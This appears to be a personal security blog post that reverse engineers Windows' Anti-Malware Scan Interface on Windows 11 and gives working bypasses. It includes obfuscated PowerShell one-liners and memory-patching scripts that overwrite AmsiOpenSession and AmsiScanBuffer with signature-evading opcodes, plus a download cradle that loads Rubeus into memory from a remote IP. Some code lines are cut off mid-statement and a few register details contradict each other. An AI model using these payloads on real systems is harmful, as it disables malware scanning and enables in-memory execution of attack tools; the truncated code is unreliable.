Bypass AMSI On Windows 11

Motivation

In this article, I want to break down AMSI (Anti-Malware Scan Interface) and its bypass technique on Windows 11. AMSI bypass is not a new topic, and compared with bypassing EDR, AMSI bypass is much easier, but I found that one bypass approach taught in OSEP does not work on Windows 11. It interests me, as I want to know what has changed under the hood on Windows 11.

Image not found or type unknown

As I am learning OSED, I also want to apply the reverse engineering skill I learned to do some personal research. Okay, let’s start.

Background

On Windows hosts, we can get a shell or C2 session by executing an exe file. Additionally, we can achieve the same goal with some script languages, such as using **PowerShell IEX** download cradle to run the script in memory without leaving files on the disk. Compared to detecting payloads on the disk, it is harder for traditional anti-virus products to detect such delivery, while AMSI provides a scanning interface to capture various script languages such as **PowerShell**, **JScript**, **VBA**, or **C# code** at run time to address the gap.

Amsi stands for “**Anti-malware Scan Interface**“; it targets malicious **script-based malware**. The following figure illustrates the process of how AMSI works in high level.

Image not found or type unknown

amsi.dll is loaded to each **powershell.exe** process, providing export functions such as **AmsiInitialize**, **AmsiOpenSession, AmsiScanbuffer**, etc. The content of the script is passed into **AmsiScanBuffer** as an argument. Before the execution, the script will be determined if it is malicious.

Use WinDBG to run powershell.exe; when the process is attached, we can see now amsi.dll is not loaded already.

Image not found or type unknown

Set unresolved breakpoints for **AmsiInitialize**, **AmsiOpenSession**, and **AmsiScanBuffer,** continue the execution. Immediately, we hit the breakpoint at the entry of function AmsiInitialize. Now amsi.dll is loaded, and the function AmsiInitialize is called.

At this time, we have not executed any script, and the powershell banner is not even loaded.

Continue the execution, we hit breakpoints at the entry of functions **AmsiOpenSession** and **AmsiScanBuffer,** respectively.

Now, the banner is loaded, and we can supply the script.

In summary, though the process of loading AMSI may involve more steps and be more complex, we know AmsiInitialize is called first, then AmsiOpenSession, and AmsiScanBuffer.

Let’s supply malicious content “**invoke-mimikatz”**, and inspect the calling of these functions.

Image not found or type unknown

When inspecting script content, AmsiInitialize is not called, but AmsiOpenSession and AmsiScanBuffer are still called in order. The calling order is not surprising, as the function names are self-explanatory.

Image not found or type unknown

Finally, the script content is regarded as malicious.

To understand the process better, let’s inspect these functions.

Function AmsiInitialize has **2** arguments, after the execution, the argument **amsiContext** will be initialized. It is a handle of type **HAMSICONTEXT** that will be passed to all subsequent calls to the AMSI API.

```
HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext
);
```

Function AmsiOpenSession has 2 arguments, either. The 1st argument is amsiContext, which is initialized from the function AmsiInitialize. After the execution, **amsiSession** will be initialized. It is a handle of type **HAMSISESSION** that will be passed to all subsequent calls to the AMSI API within the session.

```
HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);
```

Function AmsiScanBuffer has 6 arguments, including previously initialized amsiContext and amsiSession. Other arguments include the script content, the length of the content, the content ID, and the scan result. The value of argument result will be set after the execution.

```
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
```

According to the result value, scanned script could be considered malicious or clean. **AMSI_RESULT_CLEAN** is **1**, **AMSI_RESULT_DETECTED** is **32767.**

```
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
```

Armed with background knowledge, let’s discuss how to bypass AMSI by attacking these functions.

Attack AmsiOpenSession

In OSEP, the bypass method is to patch the first **DWORD** pointed by amsiContext. The following screenshot is the graph view of AmsiOpenSession on **Windows Server 2019**. As we can see, the first DWORD is compared to “**AMSI**“.

Image not found or type unknown

As long as the first DWORD is not equal to “AMSI”, the execution will jump to the following code block:

```
loc_18000250B:
mov eax, 80070057h
retn
AmsiOpenSession endp
```

EAX is set as **0x80070057**, which is **E_INVALIDARG** error. The execution of AmsiOpenSession is unsuccessful, and so will all subsequent calls to the AMSI API.

Image not found or type unknown

However, on Windows 11, the first DWORD is not checked anymore. Fortunately, there are still multiple ways to land that code block. The **RDX**, **RCX**, the **2nd QWORD**, and the **3rd QWORD** are compared to **0** respectively. If **any** of them equals 0, AmsiOpenSession will exit with error.

Image not found or type unknown

The following one-liner payload leverages reflection, it can be used to patch the 1st DWORD to achieve AMSI bypass, now it does not work on Windows 11.

```
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”)
{$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”)
{$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf =
@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

The one-liner payload is obfuscated to avoid signature-based detection, let’s break it down:

1: Get the assembly that Ref is defined in, then get a list of all types defined in that assembly
2: In the list, locate AmsiUtils based on the property characteristics of AmsiUtils, such as IsPublic=False, IsSerial=False, and the Name contains the “iUtils” substring, etc.
3: Locate amsiContext in a similar manner
4: Get the address of the amsiContext parameter and patch the first DWORD in the structure to 0

Adjust the payload to patch the 2nd QWORD, and it works on Windows 11.

```
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”)
{$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”)
{$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object
byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

We can also attack AmsiOpenSession with PowerShell script. The following script patched AmsiOpenSession to set RCX as 0.

Image not found or type unknown

```
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}



function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}



[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualP
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
```

After executing the script, we bypassed AMSI.

Attack AmsiInitialize

Considering AmsiInitialize is called before we can supply scripts, we cannot directly patch the instruction. However, we can patch the structure pointed by amsiContext as it is initialized after the execution.

Leverage reflection, the raw one-liner payload is as follows:

```
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).
SetValue($null,$true)
```

Obfuscate it to avoid signature-based detection:

```
$a=[Ref].Assembly.GetTypes
();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {
SetValue($null,$true)
```

We successfully bypassed AMSI. This payload still works, even on Windows 11.

Image not found or type unknown

Attack AmsiScanBuffer

Inspect assemble codes of AmsiScanBuffer, we also noticed the code block that forces the function to exit with error.

Image not found or type unknown

Image not found or type unknown

Image not found or type unknown

According to the graph, multiple branches could land the execution on the code block. One path is notable:

```
cmp rcx, rax
jz short loc_1800082CA
```

The code block compares values stored in **RAX** and **RCX,** because RCX and RAX will be overwritten later, it is hard to patch them.

Image not found or type unknown

If RCX does not equal RCX, the execution will land the following code block. The TEST operation will be performed between **the byte located at the memory address RCX+0x14** and immediate value 4. This means, if the 3rd bit is set in the byte.

```
test byte ptr [rcx+1Ch], 4
jz short loc_1800082CA
```

If the result is not equal to 0, the execution lands the following code block:

```
mov rcx, [rcx+10h]
mov r9, rbx
mov [r11-50h], rbp
mov [r11-58h], r14
mov [rsp+88h+var_60], r8d
mov [r11-68h], rdx
call WPP_SF_qqDqq
```

No conditional jump happens, just follow the execution, and land the following code block. Previously, RSI is set the value stored in RDX, which is the address of buffer.

```
mov rsi, rdx
```

If RSI is not equal to zero, continue the execution without a conditional jump.

```
loc_1800082CA:
test rsi, rsi
jz short loc_180008337
```

The following code block checks if **EDI** is equal to 0. Previously, EDI is set the value stored in **R8D**.

```
mov edi, r8d
```

It is obvious, if R8 is 0, then we will finally reach mov eax, 0x80070057 **instruction.**

```
test edi, edi
jz short loc_180008337
```

Set **R8** as **0** at the entry of function AmsiScanBuffer, continue the execution. We find that AMSI is bypassed.

Image not found or type unknown

Image not found or type unknown

If we try to patch AmsiScanBuffer by setting R8 to 0:

```
xor r8, r8;
```

The opcode is **0x4d31c0.** However, it will crash powershell.exe process, because we overwrote some instructions, such as **mov r11, rsp**. While R11 will be used in some following instructions.

Image not found or type unknown

Therefore, this bypass works in theory, but we will have issues when using it in practical without WinDBG.

We can also force AmsiScanbuffer to return **E_INVALIDARG** error, the instructions are as follows:

```
mov eax, 0x80070057
ret
```

The opcode is **0xb857000780c3**. However, the opcode is signatured, therefore, we should slightly obfuscate it.

Image not found or type unknown

Final code:

```
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}



$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualP
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

It works well :)

Image not found or type unknown

Bypass AMSI for Assembly Load

We discussed how to bypass AMSI before executing powershell scripts. However, the content of .NET assembly will also be scanned by AMSI, and the process is slightly different. As a result, attacking AmsiInitialize or AmsiOpenSession does not work.

We can use reflection to download a C# tool in memory and execute it.

```
$data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’)
$assembly=[System.Reflection.Assembly]::Load($data)
```

As the following 2 screenshots show, we already bypassed AMSI by attacking AmsiOpenSession and AmsiInitialize, but we cannot load Rubeus in memory.

Image not found or type unknown

Image not found or type unknown

However, if we patch AmsiScanBuffer, we will be fine and successfully load Rubeus in memory.

Why? Because when **Assembly.Load()** method is used, function **AmsiScan** in **clr.dll** will be called additionally.

Set 4 breakpoints for powershell.exe process

amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan

After supplying malicious content “invoke-mimikatz”, breakpoints at AmsiOpenSession and AmsiScanbuffer are reached, but functions **AmsiInitialize** and **AmsiScan** are not called

If executing **[System.Reflection.Assembly]::Load()** command, we find that the first 2 breakpoints are still reached, and this time, we have three more hits. The 3 more hits prove that .NET assembly in memory is scanned additionally.

Image not found or type unknown

Inspect function **AmsiScan** in **clr.dll**, we find that AmsiInitialize and AmsiScan are called, while AmsiOpenSession is not called.

Image not found or type unknown

In summary, the one-liner payload that attacks AmsiInitialize does not work because the payload changes sub-values of the **System.Management.Automation** namespace. This namespace is the root namespace for PowerShell; it is not related to .NET assembly scanning. AmsiOpenSession is not called in AmsiScan at all. AmsiScanBuffer is called, therefore, the bypass technique by attacking AmsiScanBuffer still works when loading a .NET assembly.

Reference

https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg

https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize

https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession

https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

https://github.com/rasta-mouse/AmsiScanBufferBypass

https://book.hacktricks.xyz/windows-hardening/windows-av-bypass

https://github.com/TheD1rkMtr/AMSI_patch

https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/

https://rastamouse.me/memory-patching-amsi-bypass/

https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/

Revision #3
Created 28 February 2024 18:28:57 by winslow
Updated 28 February 2024 18:30:59 by winslow